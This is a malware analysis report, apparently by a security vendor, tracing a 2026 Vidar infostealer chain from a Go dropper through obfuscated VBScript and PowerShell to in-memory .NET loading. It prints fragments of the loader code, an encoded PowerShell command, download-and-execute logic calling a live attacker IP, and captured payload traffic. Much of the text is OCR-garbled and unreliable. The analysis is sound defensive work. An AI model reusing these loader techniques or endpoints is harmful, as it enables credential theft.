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Fig.1 Vidar Evolution
Vidar has evolved significantly from 2018 to 2026, transitioning from a basic Arkei-based credential stealer into a multi-
stage, stealth-driven attack framework. Over time, it has adopted MaaS distribution, advanced evasion techniques,
social media-based C2 (Telegram), and high-performance data theft capabilities.

Overview of Vidar Infostealer Operations in 2026

Recent research from Malwarebytes, Acronis TRU, and Zscaler highlights the rapid evolution of the Vidar infostealer
into a more adaptive and socially engineered threat landscape.

Zscaler reports that the Claude Code leak was rapidly weaponized through fake GitHub repositories distributing Vidar,
demonstrating how attackers exploit trusted developer ecosystems and trending incidents for malware delivery.

Malwarebytes documents active 2026 campaigns where compromised WordPress sites and fake CAPTCHA (ClickFix)
pages are used to trick users into executing Windows-native commands such as mshta, initiating multi-stage infection
chains that ultimately deploy Vidar.

Acronis TRU further highlights large-scale abuse of GitHub and Reddit, where fake game cheat repositories are used
to distribute Vidar 2.0 across multiple gaming communities through social engineering and redirection chains.

In parallel, similar Vidar variants have been observed across multiple campaigns, indicating an expanding and evolving
operational ecosystem. However, a crucial question remains largely unanswered: What happens after compromise?

At Point Wild, we set out to investigate this post-exploitation phase in detail.

Executive Summary

Building on these insights, our analysis shifts focus beyond initial compromise and into the post-exploitation phase,
where the true impact of the infection unfolds.

This analysis by Point Wild highlights a sophisticated, multi-stage malware campaign that leverages layered
obfuscation, staged payload delivery, and trusted Windows components to achieve stealthy execution and persistence.
The attack begins with the abuse of WScript and PowerShell, leveraging trusted Windows components to establish a
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stealthy, fileless execution path. Through heavy obfuscation, including reversed strings and encoded commands, the
script dynamically reconstructs a remote endpoint hosted on a direct IP address (62[.]60[.]226[.]200) and retrieves a
secondary payload disguised as a benign image file from a publicly accessible /public_files/ directory. This payload
contains embedded Base64 data hidden between custom markers, which is subsequently reversed, cleaned, and
decoded at runtime.

A key characteristic of this variant is its transition into a .NET-based stage, where the decoded payload is reflectively
loaded and executed without touching disk. Notably, the malware leverages RegAsm.exe as an execution proxy,
invoking a malicious method (Ifsgeddddddda) within the loaded assembly. This method further retrieves an additional
payload from a reversed and obfuscated URL, decodes it, and executes it potentially via process injection while also
supporting optional persistence mechanisms through Startup folder manipulation and process monitoring. By abusing
legitimate binaries and chaining multiple obfuscation layers with staged payload delivery, this variant effectively blends
into normal system activity, exemplifying the growing use of living-off-the-land techniques in modern threat campaigns.

From a Point Wild threat intelligence perspective, this campaign demonstrates how attackers combine straightforward
obfuscation techniques with trusted system utilities and staged delivery mechanisms to build an effective and low-
profile infection chain. By leveraging publicly accessible infrastructure and blending execution within legitimate
processes, the malware achieves reliable delivery and execution while maintaining a minimal operational footprint.

Initial Infection Vector for Vidar (2026)

The initial infection vector for Vidar infostealer in 2026 has significantly evolved from traditional exploit-based delivery
to highly user-driven and social engineering—based execution chains. Our analysis, correlated with recent Vidar
campaigns and I0C-based investigations, confirms that attackers are increasingly relying on deception techniques that
encourage victims to execute the payload themselves rather than exploiting software vulnerabilities.

1. Malicious GitHub Repositories

Attackers distribute Vidar through fake or trojanized GitHub repositories disguised as legitimate utilities, cracked
software, or leaked development tools. Recent lures, including trending themes such as “Claude Code”-based
repositories, have been observed to increase trust and execution rates among victims.

2. Fake CAPTCHA / ClickFix Pages

Users are redirected to malicious or compromised websites displaying fake “Verify you are human” CAPTCHA
prompts. These pages instruct victims to manually execute commands (such as mshta, PowerShell, or Run dialog
commands), which directly trigger the initial stage of the infection chain.

3. Game Cheat Distribution Channels

Another widely used vector involves “free cheat” tools distributed via platforms such as GitHub, Discord, and Reddit.
This targets primarily gaming communities, where users are more likely to bypass security warnings in exchange for
perceived in-game advantages.

4. Compromised Websites (Drive-by Social Engineering)

Legitimate websites, including WordPress-based portals, are injected with malicious scripts that silently redirect users
to attacker-controlled infrastructure hosting Vidar payloads or staging loaders.
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5. Our Observed Case — Multi-Stage IP Based + Multi-Format Delivery Chain (JPEG+TXT)

In our analysis of the Vidar 2026 infection chain, we observed a multi-stage execution flow beginning with a Go-
compiled dropper binary, which serves as the initial entry point and helps evade static detection due to its compiled
nature. This dropper extracts and deploys a VBScript file, which contains embedded PowerShell code responsible
for continuing the infection chain. The PowerShell script connects to a remote IP-based server and downloads the
next-stage payload, which is delivered in JPEG and TXT file formats used as disguised carriers for malicious
content or staged payload data rather than conventional executables. These files are further processed to retrieve or
reconstruct the final payload, ultimately leading to Vidar execution. This chain highlights a layered and obfuscated
delivery mechanism combining Go-based compilation, script-based execution (VBS and PowerShell), and non-
executable file-based payload staging (JPEG and TXT), along with direct IP-based communication to bypass
domain reputation systems and complicate analysis.

Attack Flow
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File Info

Detect It Easy v3.10 [Windows 10 Version 2009] (x86_64) = O 4

File name

= ‘b:\New\ZDZS\KEdar\Vidar\2486?3?85[}5\128882?9&:1b882a662?219dc806a982a2dfb3a5aaad55a5c1[}826‘ =

File type File size Base address Entry point V| Advanced

PEb4 b 1.56 MiB 00000140000000| 000000140071b80 |=
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Fig.3 File Info image
The analysis begins with a static inspection of the initial executable using Detect It Easy (DIE). The sample is identified
as a 64-bit PE binary compiled using the Go programming language (Go 1.25.7), immediately distinguishing it from
traditional malware families that typically rely on C/C++ or .NET frameworks. Go-based binaries are known for their
large size, embedded runtime, and cross-platform capabilities, making them increasingly attractive for modern malware
development.

This initial observation is significant, as it establishes that the infection chain originates from a Go-compiled loader,
shifting the analytical focus away from traditional packers and toward runtime behavior and staged payload delivery
mechanisms.

Execution Context Identification
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Fig.4 Process Explorer view of the injecting process

4/28



The observed execution flow clearly demonstrates a multi-stage process chain, beginning with WScript, which acts
as the initial script execution engine. This is followed by the spawning of PowerShell, indicating a transition into a
more flexible and powerful execution environment capable of handling encoded or dynamically generated commands.

This sequence highlights a deliberate progression through trusted Windows binaries, enabling the malware to blend

into normal system activity while executing successive stages of its payload. The chaining of WScript —

PowerShell — ConHost — RegAsm strongly indicates a script-driven loader transitioning into a .NET execution

phase, aligning with techniques commonly used in staged malware delivery.

Parallely It drops ewccbqtllunx.vbs in Temp Folder as in below img.
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Fig.5 VB File dropped location

Stage 1: Analysis of ewccbqtllunx.vbs

Step 1: WScript Shell Execution (Initial Trigger)

Set wshNetwork = WScript.Createcbjecqt "WScript." & "Network"™ )
'Phfaedodspfore! crizzling

Fig.6 WScript Shell Execution
Step 2: Anti-Analysis Check

If instr(ucase(str), "MRL" & "1") »> 0 OR .
instr(ucase(str), "LNPZ") > 0 OR _
instr(ucase(str), "CEV") > 0 OR _
instr(ucase(str), "-" & "BEC") > 0 Then
WScript.Quit
Fig.7 Anti-Analysis Check
If sandbox detected — WScript.Quit

Else -> Continue execution
Step 3: PowerShell Payload Construction (Obfuscation Layer)

This is where the actual malicious command is built dynamically:
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Function Ugfdfging (MEgfdS7)

kgedScbfpid = kgedScbfpid & Mfgfda7
TempValue = Right("invisidfble™, 3)
SpacePadding = Space(12)

ReverseCmd = StrReverse ("=cdsfho™)

OtZwRy = Int(Rnd() * 100)

'Caldidfdssgtephus abuser proteli totemdite73
'Loansdfsdarking scgouged teugh, Jjernmaske.

End function
Fig.8 Powershell payload Construction

Step 4: EXECUTION POINT

Lo Wb L o el Bld L L L WA L e | G bl

runtimeHandle .Run grebgooFeIAF, 0, Trus
=
Fig.9 Execution Point

Run — execute command
0 — hidden window
True — wait until finished

PowerShell Takes Over

Stage 2: Analysis of Encoded Command inside Powershell

Image

E Windows PowerShell

Microsoft Corporation

MNarme: powershell.exe

Version:  10.0.26100.5074 (WinBuild.160101.0800)

Path:
Ch\Windows\System 32\ WindowsPowerShellw1.0\powershell.exe

Command Line:
vAPQARAGgAdABDAHAL WwATACQAUWBIAHAAY OBy AGEADABVAHIAPOANAD o ALwAVACcACWAKAGIAYQBzAGUAV OBy AGWAF

Fig.10 Command line of powershell file
Obfuscated PowerShell execution triggered via encoded command line

The screenshot shows the execution of powershell.exespawned by the malicious WScript-based loader The
command line contains a long Base64-encoded payload.
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Obfuscated Powershell command

*o AWindows' System 32 \WindowsPowerShallivl  O\powershell . sxe™ "Sondoiw

= ' WWBCAGUAIAAURFMAZCAYAR YRAOE ] AGTATRBVAG LADQBIAE DAY JBUAGEAIWE L AH TAX GAEADOAUWE LAGMAICAYAG KACZRE SAFAAC JEVAHOADNE  AGS ACAAGRD DA TABLAE 4 AZ0BIAC SAUWE L AGMA:
AFCADGREAFCABRE: ADEAMYANAACREGRLAGA RIWEIACkAbWEBUACAATAReAH s AoRBhAH L AYCRT AC g Al 2 RHCAC g Bp AG A A S AP AN GA KRN o AR SBnA G Ao g R L ASEAWEOACERTRRS AC AR CHIGRT
BXAGUAYIBEAGTACCR L AGUACHEIAF IADIAEAEMACE LAGEAAB 1 ACQATAR SACKROWAKRHCAPOARANGA LgBHAGUAJABSAG UACWENAGEAbGE s AGUANAADAD s A TAB 2 ADDAJAS SAC ARWE LAHOAIGB L
dOASARSAZCAIACOATWELACOAZOE) ARCATABTAE SALgERAGUADCEvAH T AeQB TAROA-gE L ACEALDA TACCAAAVATMAbWENAH kAVABVACOATAR L AC kADWA K AR CALQBEACWAbWE Z ACTAT ARLADS AL TR
QAKDATACORGAESAHORPOBDAF CRIOR4 AHOAL BFAG ATWAVAFTAS BUAGT AN CAEADCAVORTAE YAORAUAE A OB A FMAGRB Y AG KABGRNACGATAD L ARKAGAE L RHMARCGAT AG KA R ACCAAAR 4 AHOA
ADAAXWwATAFCROOBSAFOAPgA+ ACCARDRE AGCA L 0AWACRALOBhAGE A2AAATACGAARBAANOA TR JAGA AZAR ] AHGATWERACGR.Fwh B ADWAOGABAFMARCA Z ADCA WP AR 4 ARA A+ ADY A TwAPAC TAZWA AT
BYAGAYTEOACMAAAR TAGHADWELWAR IR JEUATAZCE SAHIACGB LARCAD DB yAGIAT AR KAGAAIOBSAGWA EQANARORFABORE T ALWB O AG S ATWEvAGWARJANRGACAS O AHAR Jwh TACCAUWE LAHAA Y 0B i
VOB AGWARGRKAFRACgIVAHOAbWE] AGE ABAR LS AT CAUWE L AHARY DR yACTAAABVAR TACMA RAG o AbwE 2 AHORUABRAR TAAAR SACcARgRYAC AANgAWAT 4 AN Ay AD YR LAY ADAAMEARAT A TREWAGE hall
GRADbAR]AHKAT wADADSATABRAGKADAR LAFRAT OB Y AHORFOARADEANgAWADAANGAZ ACA Aa g BwASCATWATACOAC OB L AGUACGB SAFAA TS y AHOA POANADD AMEA yADC AMORXA DMAHGA S AT CAOWAKAGY)
ARACOADWE L AARY OBy AGEAAREVAH I AXWAKAGTAbWE ZAHGAUABRAH T ADARA S ACOACABhAHCAL RBCAGEACTE AT s AJABMAG KA L AEAR Y DBy AH DARMAKAHEASOR LA T An CROAGEACBIADSATAE:
KRB KRG RALOBhAGCAZGBCARKACAD | AHMAPLB RAGUAT AR KAGWAA JEUAG R ACWA TAG KALGACACCAA DBTAGEAZWA L AR TASOBOACUASWAGAC I ALg R ACARTABUARUALAR A AL kAewh kAS KAROBRAG A
AGkAbgBRARTAOGACAFUAVARGADGALBHAGURAAB TARCAC g BpAGE ASWACRCCAAUR L AGERSWB LAE I RaGRIAG TAcwAp ADSR T AR RRGAT OB YAHOARG B AGER SWh SACCAPAAS AR L ACCRTAEUANGATAE!
BnAD0ATWAS ADWACT SBAFMARCAL ADGAXWE AT 4 ARAA HAD4 AJwA TACOACWE JAGEACG AL kAL Bk AGUAS ARDACCRM 0Bt ASEAZWE LAPOAZ CB A AHCALgB-TAGEAZAR L AHgATWEMAC gATAB T AHGAY OB y)
PORAGKADIBRASCAIORTACTAGABOAC S ASCAUAGCAT QRS AR BAS QACACCAZCBUACCARG B ACTAZMADAD S AA OERAC FATAE 2 AHOAY CA VAR CAS JRUACIAZ CBA ACRAL CENASUA T AMMAC AR LOBRAS A AR
MAARBRAH T AGARSAC S AZAB LAHGAROE TR SRcwBIAGERC G BIAE RALG B RACUAS ARG BADT A S AR e AHCAY OB yAHIAR G B e AGE ASUAUR EwASOBuAGcAdAR oA DB ATAB AAGERCwE LAL Y ANARMA G URg BRAK D
HART AAAR JAGAZAR] AHGAOWAKAGT AY OB T AGTANgATAEMANWE L AGIAY CRUAGOAPJA KRG KADORRAGCAZ CRURGTASABOACIAUWS LAG I ACWBIAR L AaJBuAGCAR AR CARMLAARRART AGRBIRGAAZAR]TAI
CATACCATWEVAC 4 AD A SAF AQUEWAHARAABUAC DAY UBRAL SAX CAEADCROWE 1 AHTACQE L A4 AARBEACE AR QERAC KAD gALAE CAZYBIAE EACWE ZAITALCE 1 ACWAL U8 L AHMAFAAR AHWARWE TACCANWAI
AWl CANMA Y WEVAR TADABLAS T AJTWE FADERJAR G AHRACAB LADDAJAR J AGEADGBIAC S ARWE LANOAN AR SAHAR T CACAS C AUWE S AHMAGAR L AGTALYBDAGEALGE ZAGUACGRPACCAROA TRCOAR OB L AHCGASI
CoRFwAGAH T AbwE AR IAY R AGTAN g AT AFNAGABYACKADGENAL cAROATRCOA YwBv AGTABCEhAG AZABC AN AGAE L AHMADGR KRG DAZIE OAGIAL g8 JAGE RAgBvAG EAZOROACORADg B L AGWRDAR SRER
PADSATABSAGEAY B KAGUAZABBARMACWE LAGIAY gBS AR K APQEDAFMAG OB ZAHQAZGRTACYALE LAGYADAR LAGMAARBEAG S ADgAUAE EACWBIAGUARDE L AGWASQEAADCACOBMAS S AT OB K ACATAE | Al
ABLADOATARSAGEAYURKAGUAZABBAHMA WA I RGOAY g sAR KALyBHAGUASAEIAR kACAR L ACgATWRIRGUACWE O RHARbWE IR GTAC B2 AGQATOR s A CWA L BGAGORCOBdE AR cha gRRAHMA TuB s Al 8 A TR
oAIAAGRCAR IAAGACAR TAAGACARI ARGACARTABE AGUADARCAE 4 AYUBLAGUA L ARFACAR INES ARG TACWARAC SR AWANAGUAZRANAC EAIWE LAGUAZABKAGGAZRANAC sAIWEBh AL CAONAGACGADOE L AHGA
AHOASATVACCARAAKAS OAZOBENACIAT g RRAG IR 20APAC 4 ASCBUA Y AW A AG TARAA ARG 4 AJDE sAGWATAAFAF sAbWE i AGoAZOR J AHCAMWBARAFOA T ARG ACCAARE AHCALgE ZAE R ANAEU AT Y ARWALAL
GRAUADYAMIR VAT AMARZAC A AMQRIAC S ALMAERC CALARGAL cAMARNACWR T AANAGKASGRTAES ARARVAGIAS AR D ACCALARGAC CRADRURAGOATOR J ACWA TARNADAR TWARACKAL QRSAR==" r ScWjuxd =
[sy=tem.Text.encoding] : :Unicode.GetString {[systen. convwert] : : Fronbasafdstring! Sondoiw. replace("d8", "'} ))& ([#criptblock]::Create (30MiuxD))

Fig.11 Obfuscated Powershell command
The image contains a Base64-encoded payload passed to powershell.exe, indicating that the actual malicious code

is obfuscated to evade detection
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Fig.12 Deobfuscated payload logic
TLS Setup Observed:
The script explicitly sets SecurityProtocol to TLS 1.2, ensuring successful communication with the remote host
62.60.226.200.

Custom Function dl Behavior:
We observed the dl function using .Create() and .GetResponseStream() to fetch data from
/public_files/160066.jpg and convert it into a UTF-8 string.

Hardcoded + Obfuscated Endpoint:
The IP 62.60.226.200 and path /public_files/160066.jpg are constructed using split strings (e.g., $protocol,
$hostPart) to evade detection.

Hidden Base64 Payload Markers:
The script specifically searches for <<BASE64_START>> and <<BASE64_END>> within the downloaded .jpg,
confirming payload embedding inside image content.

Base64 Extraction Logic:
Using .IndexOf() and .Substring(), the script extracts only the encoded segment between markers, ignoring the
rest of the image data.

Reflection-based Decoding:
Instead of direct calls, the script uses [System.Convert]::FromBase64String() via reflection to decode the

extracted payload into raw bytes.
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In-Memory Assembly Load:
The decoded byte array is passed to [System.Reflection.Assembly]::Load(), confirming fileless execution without
dropping any binary on disk.

Dynamic Method Name Construction:
The method name is built as ‘Ifs’ + ‘ged’ + ‘dddddd’ + ‘a@’, showing deliberate obfuscation before invoking it using
.GetMethod().Invoke().

Reversed String Indicator:
The string txt.0fZnCgc/selif _cilbup/002.622.06.26// is reversed to reveal the actual path, hiding the C2 endpoint in
plain sight.

LOLBiIn Reference (RegAsm):
The variable $injec = ‘RegAsm’ suggests possible use of RegAsm.exe for execution or injection, aligning with
living-off-the-land techniques.

Execution Flow Confirmed:
Download — Extract Base64 — Decode — Load Assembly — Invoke Method — all performed in memory,
minimizing detection surface.

Key Finding

This specific script demonstrates a fully fileless loader chain leveraging a hidden payload inside 160066.jpg, reflective
loading, and obfuscated execution logic techniques consistent with advanced Vidar infostealer delivery observed in
2026 campaigns.

Abusing Publicly Accessible IP Infrastructure for Image Based Payload Delivery:

i " 2 & Mot Secure 260,226,200 ®E O

#] Import bookmarks

>
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¢
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Fig.13 Vidar next-stage payload retrieved as a JPEG file from an IP-based, non-secure HTTP endpomt

-
.

The figure shows the payload being downloaded from a direct IP address (62[.]60[.]226[.]200) over HTTP, rather than
a legitimate domain using HTTPS. In this Vidar variant, the .jpg file hosted at this endpoint is used as a staged payload
disguised as an image.
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The use of an IP-based URL helps attackers bypass domain reputation systems and simplifies infrastructure setup,
while the lack of encryption allows quick and lightweight delivery. This combination enables the malware to blend
malicious traffic with normal looking web requests, reducing the likelihood of detection during the initial stages of
the attack chain.

It then defines a function (dl) that retrieves data from a remote URL using Net.WebRequest, reads the response
stream, and searches for embedded markers:

<<BASE64_START>> ... <<BASE64_END>>
These markers indicate the presence of a hidden Base64-encoded payload inside a JPEG file.

We manually decoded Payload Identified as testpowershell.dll

Property Value

File Name D:\New\2026\Kedar\Vidar\payload

File Type Portable Executable 64 .NET Assembly

File Info No match found.

File Size 37.50 KB (38400 bytes)

PE Size 37.50 KB (38400 bytes)

Created Saturday 11 April 2026, 00.54.18

Modified Saturday 11 April 2026, 00.54.19

Accessed Saturday 11 April 2026, 00.55.00

MD35 FOCB202D8D0453D7252CCFBFFDDIFAAC

SHA-1 EAB9C31629653373BCEEB6421BABTFTFF3F52F6B
-

Property Value

FileDescription

FileVersion 0.0.0.0

InternalName testpowershell.dll

LegalCopyright

Fig.14 File Info Image

Stage 3: Analysis of testpowershell.dll

Phase 1: Obfuscated Assembly
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Fig.15 Obfuscated assembly code image

o During our analysis, we observed that the .NET binary is protected using SmartAssembly, employing randomized
class and method names along with removal of meaningful identifiers.

¢ Strings are concealed using Unicode-encoded representations (\u0O0XX), which are resolved dynamically at
runtime, preventing direct static inspection.

¢ The control flow is intentionally distorted using redundant constructs (e.g., if (/false)), complicating decompilation.

o Key artifacts such as C2 endpoints, embedded PowerShell commands, and payload data are not directly visible,
confirming the use of string encryption and runtime reconstruction as anti-analysis techniques.

Phase 2: Deobfuscation Command Execution

C:\Program Files\delddot>deldot.exe D:\New\2026\Kedar\Vidar\payload

delidot v3.1.41592.3u405 Copyright (C) 2011-2014 deldot@gmail.com
Latest version and source code: https://github.com/@xdud/delddot

Detected SmartAssembly 6.9.0.114 (D:\New\2026\Kedar\Vidar\payload)
Cleaning D:\New\2026\Kedar\Vidar\payload

Renaming all obfuscated symbols

Saving D:\New\2026\Kedar\Vidar\payload-cleaned

Fig.16 Deobfuscation of that file using de4dot
o We utilized de4dot (de4dot.exe <input_path>) to process the obfuscated assembly, which successfully identified
SmartAssembly protection.
¢ The tool performed automated cleaning by decrypting strings, simplifying control flow, and restoring symbol
names, resulting in a readable code structure.
e The generated *-cleaned binary preserved the original functionality while exposing previously hidden logic,
allowing us to clearly analyze payload handling routines.

Phase 3: Deobfuscated Code
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Fig.17 Deobfuscated code of that file
Post-deobfuscation, we identified that the execution begins by resolving the Startup directory path using
Environment.SpecialFolder.Startup, followed by a conditional persistence check controlled via input parameters.
If enabled, the sample invokes a hidden PowerShell instance (-WindowStyle Hidden) to locate the most recently
created .bat file in the current working directory (Get-Childltem *.bat | Sort-Object CreationTime -Descending)
and copies it into the Startup folder, effectively achieving user-level persistence without explicitly dropping a new
script.
The network communication logic reveals deliberate obfuscation of the C2 string, where the hardcoded value
“ptth” is reversed at runtime to reconstruct “http”. This indicates a string transformation-based evasion technique,
and also suggests that the full URL may be dynamically assembled or partially stored elsewhere in the binary.
The sample then utilizes System.Net.WebClient with UTF-8 encoding to perform a synchronous HTTP request
via DownloadString, retrieving the second-stage payload as a text response rather than a binary stream. This
payload is intentionally obfuscated in transit.
Upon retrieval, the payload undergoes a multi-step reconstruction pipeline: first, the entire string is reversed
(Reverse<char>()), and then specific junk markers (“DGtre”) are replaced with valid Base64 characters (“+”). This
indicates a custom encoding scheme layered on top of Base64 to evade static detection and signature-based
scanning.
The sanitized string is then passed to Convert.FromBase64String, producing a byte array representing the raw
payload, which is likely a PE file or a .NET assembly. Notably, this process avoids writing the payload to disk,
reinforcing a fileless execution approach.
Execution is handed off to Class0.Class1.smethod_1, which acts as the core execution dispatcher. Based on
parameterization (injection flag), this routine likely implements:
Reflective .NET assembly loading via Assembly.Load(byte[]), or
Process injection techniques such as RunPE / process hollowing using APls like CreateProcess,
WriteProcessMemory, and CreateRemoteThread.
Additionally, we observed a secondary conditional branch that creates a .bat file within the % TEMP% directory
using StreamWriter. This behavior suggests a fallback or redundancy-based persistence mechanism, potentially
ensuring re-execution in case the primary Startup-based persistence fails.
Overall, the recovered logic clearly demonstrates a staged execution design, where the analyzed binary functions
as an intermediary responsible for payload retrieval, transformation, and in-memory execution, while delegating
the actual malicious functionality to the downloaded second stage.
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Live Network Monitoring and Packet Capture Using Wireshark During Sample Execution

C2 Communication and Payload Retrieval via HTTP (JPEG-Based Staging)

GET fpublic_files/160066. pg?12711313 HTTF/1.1
Host: 62.6@8.226.208
Connection: Keep-Alive

HTTP/1.1 108 OK

Date: Mon, 13 Apr 2826 84:87:47 GMT

Server: Apache/2.4.62 (Cent0S Stream)
Last-Modified: Sat, 04 Apr 2026 16:35:13 GMT
ETag: "6d181-64¢a5848b19%cc"™

Accept-Ranges: bytes

Content-Length: 446849

Keep-Alive: timecut=5, max=100

Connection: Keep-Alive

Content-Type: image/jpeg

[ TN S T U S W S R S R
...... We *Ayue.. BuB.cpb. Ho . BYC. . T e e ve e b (U o o ... <<BASEG4_START>> TWQQAAMAAAAEAANA/ / BAAL GAAAAAAAAAQAAAAASAAAAANAN

AAAAAMABAAAAAAAAAAAAAABAAANAAAAAA B ARAAAL Fugd At AnNT bgBTMBRVGhpe yBwemOnemF t IGNhbmSvdCB i IS8y dWdgaWd gRESTIGL v IGUILDQEK 1 AAAAAAAAABDRQAAT TYCAKT
oWk RAAAAARAAAPALT 1 ALAZEAL] ofAMME WEMMWMEWMWIUWW

BIWMdEHMMEEYMMIMJaMEWAMMELnJ1cm4ﬁgﬂ.
A A AAAR T AGAALEAF AMy BAAEBMWARADAASAAANARA T QAAAAMAAAA

AAAAAAAARAARAAAAASAA A A AARA AR ASA AR A SR AB AAAIAAS 1&13HAMKA.(oMMbMNIgIAMEMBEAHT:]&gWHCM]wIM(CBMMUIsCWkMMCquMCMA
llAIMEESIMAADJMMIQIM;IMW}'EEFQRMCmBuHFgmiLHIHIMDﬂgMBqIthrl.'LJR“DHEMgMnlUIBgquQMEgEM&MDEMqI
LGiC LaQaAKDoAAAaiKAs AddoodWAdBgAd cvwAllol By gNARAK bwd AAACALT C 2AQAAK Do AALY of gAAC hAAAT gBAAARKATAAC t ZEQANC hAAAAC Chx I AAACNCS gBAAAFKATAAC tZEQA
AChMEEQQgvwEAAC g6AAAGTMgBAAACO g AABmBT AAAK EwURBS gUAAAK EwYRBgUgz QE AAC gEARAGK AAAAYAANAF JgAn3 gADBC COAAAMKDOAALY oF QAAL 1wSAy DNAQAAKDOAANY OF gi
AC i sBFhMHEQc SKAE AAAACFwAAL 1 DSAQAAKDoARAY oL gAAC hMIGy zmEQh 2 GAAAChMIABE ] IOMBAAACDgAABRE T AAAK F JqhAAARARE 1TPQBAAACDEAABME ZAAAKARBE 11 PEBAAADDgA
\Bm8ZAAAKABE 1TBACAAAGORAABMETAAAKABE 1GABWAAABIRY gLw I AAC g6AAAGD IUNBa I 1GCBLMgAAK DoAALS] JRKF oiUal IECAAACDgAABG T ol wAACmE ZAAAKABE 11 T4CAMADDgA
\BgYEKARAAAogUW [ AAC gEAAAGK BoAAApvGRAAL gARC SDEAgAAKDoAAAT wGOAAL gAAF 1 3B IgORCSwIEQL vhwlAC gDe cnmiiilio | bxBAARORCGEcAMAKACVVHOAAC hdvHWAAC gBV T AL
ACAYAKIghAAAKDGI9/ /BKDG 29/ [BDOGYS/ fBoOgAlB jhe/f/ /KBUAARCAT v/ fWYAZ [ 3/ /wQATv3/ [ygBRAAMGOGHS [ fBoCgAAL jhh/ [ / AAABHAAAAAD c AF ¢ 2 AQUBAAABARCKALF
AERAMAAAGZ ADAHQAAAAC ARARAABZ TgAACIUg 7QIAAC sgyLATSsoKykAIRerKwALFystAC sxK 2 IrMy Y c LAEA3KQo0gAAR i vIbxdAdAor 14T r1WE AAAKK I BvHWALL IvObyQadAo
~zhorzAYryy g LAMKKSY mGCwBARYEAQAZ LPKWL fLeACOBEAAAAAABAGF LABEBAAABT g IoBwAAL gAqAAAAT g ToBwAMl gAGARAAAZACAL sBAAAAANAMAL AC AwiADF YBAAAGEWMAAD
LAQAADF s BAAC AAQANBC AC AwAADF YBAAL TAMAADRRAQAADF s BAAC AAgAABCAC AwAADF YBAAAZPOMAADhWAQAADF s BAAC AA=AABC AC Ml 15y JKDoAALY gV gMAAC g6 AAAGK AMAACY
:.EMB-nSuQAMCA«Enu&AJ5LHJSuEKMMYgLMEQEMAGmQAACuABQMBCAEMKD@MAT;M:MWME@BMEMMDMMY@MgﬁmGKm’M.Cu

F|g 18 Payload Retrieval via HTTP (JPEG -Based Staglng)
During the initial stage of network communication, we observed the sample establishing a connection to the attacker-
controlled IP 62.60.226.200, requesting the resource /public_files/160066.jpg?12711313. The use of a .jpg file with a
query parameter indicates deliberate attempt to mimic legitimate image traffic while introducing variability to evade

caching and detection mechanisms.

The server responds with HTTP 200 OK and a Content-Type: image/jpeg, delivering approximately 446 KB of data.
While the response headers suggest a standard image file, inspection of the raw content reveals that the file does not
follow a valid JPEG structure. Instead, it contains a clearly defined marker:

<BASE64_START> followed by a continuous Base64-encoded payload stream.

Based on execution flow correlation, the PowerShell stage retrieves this .jpg file and processes it entirely in memory by
locating the Base64 marker, extracting the encoded segment, and decoding it to reconstruct the underlying binary

content.

This stage represents the initial payload staging phase, where the attacker leverages a benign file format (JPEG) as
a carrier for encoded malicious data. The decoded output from this stage is likely used as an intermediate
component, which subsequently leads to the retrieval of additional payloads such as txt files.

Payload Retrieval via HTTP (TXT-Based Staging)
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GET fpuh]i:_'FilnstGVndﬂY.txt HTTP/1.1
Host: 62.60.226.200

HTTP/1.1 28@ OK

Date: Mon, 13 Apr 2026 84:87:48 GMT

Server: Apache/2.4.62 (CentO5 Stream)
Last-Modified: Tua, B7 Apr 2026 08:14:39 GMT
ETag: "ealBd-bdediabdeBabn™

Accept-Ranges: bytes

Content-Length: 959368

Content-Type: text/plain; charset=UTF-8

W] MBEDMwADMB T TWMAMMEMMQMVQEF TEls ARAALARAALAAAALEALIBeHE AAADALY AawDAAAE ADF BCHAAAABAEE

€1 EAAAQAARAP AAAAAAAAAAANARAAAAAS
PEB’S:NU-U-FK:H:BEQE-E’PFBI.‘EEAF Yw/VsIIE F“I'S.l"?n d]uer'Ti;DJ iuali B'.l'-zr'Ti:Dr'Téurﬁ. IFfiIBCTDi/ 2Hr 2O TSDRXARPoyverTgDQAK 10T 8plerTgDDGE AF cwNF s TRAUWIBVx i

Fig.19 Payload Retrieval via HTTP (TXT-Based Staging)
During network monitoring, we observed an additional request from the sample to the same attacker-controlled IP
62.60.226.200, this time targeting the path /public_files/KGVn4OY.ixt, indicating a structured staging location on the
attacker-controlled server. The server responds with a valid HTTP 200 OK status and serves the content as text/plain,
deliberately masking the malicious payload as a benign text file.

Upon inspecting the response body, we identified that the content is not human-readable text but a large, structured
encoded blob (~950 KB). The data is dominated by repetitive sequences such as AAAAAA, which is characteristic of
Base64-encoded binary data with padding, strongly suggesting that the actual payload is embedded within this
encoded stream. However, direct decoding attempts fail, leading to the observation that the data is intentionally
obfuscated through string reversal.

Based on our analysis of the execution chain, the PowerShell stage does not treat this file as a standard download but
instead processes it in memory. The retrieved content is likely first reversed programmatically to restore the correct
Base64 structure, after which it is decoded to reconstruct the underlying binary payload. This reconstructed
payload is then executed directly in memory, avoiding any need for writing a conventional executable to disk.

Stage 4: Analysis of Vidar Payload

The Vidar malware is a 64-bit console-based executable. It is compiled using Visual Studio and written in C++. The file
is protected with a crypter and does not contain any imported functions, allowing it to evade traditional security
mechanisms.

ABAD31XTEFC11ISIno/ rLAdBAerT gD/ GDBIU M CAPY QL k'Yw/ nEDNGc 1IFAChIHD=1FQ4Dg8r
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File name

1= | rs\admin\Desktop)24888300132\b55b8ec eefedfi7a70d2adTa3c02627784c 60 cBd197eefdBdETHOTH0034ed. exe

File type File size
PEG4 hd 651.50 KiB

Scan Endianness Mode Architecture Type
Automatic hd LE B4-bit AMDES GuUl
= PEB4

Operation systerm: Windows(Vista)[AMD&4, &4-bit, GUI]
Linker: Microsoft Linker

Cornpiler: Microsoft Visual C/C++(19.29.30151)[C++]
Language: C++

(HeuriProtection: Generic[No [4T]

[N
R L L)

Fig.20 File info image of payload
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CE05 ADCAOG0D 00 mov byte ptr ds:[7FF73E56AL17C],0
48: 8015 SDCAOGDOD Tea rdx,qword ptr ds: [?FF73E56AL170]
48: BBOD 163A0600 mov rcx,qword ptr ds: [FFF73E561100]
48:83EC 20 sub rsp,?D
4C: 8D05 &E400600 T1ea r8,qword ptr ds:[7FF732E561760]
EE OF9&FFFF call bsshSeceesed4fararodzadra3c02627784cde04cc8d1a7eafds
48:83C4 20 add rsp,20
48: 8905 333E0600 mov qword ptr ds:[7FF73E561538] ,rax
OF1005 14BFFSFF movups xmmo,xmmword ptr ds: [FFF73E499620]
48: 8B5S FO0O20000 mov rax,gword ptr ss:|[lrbp+2rFof
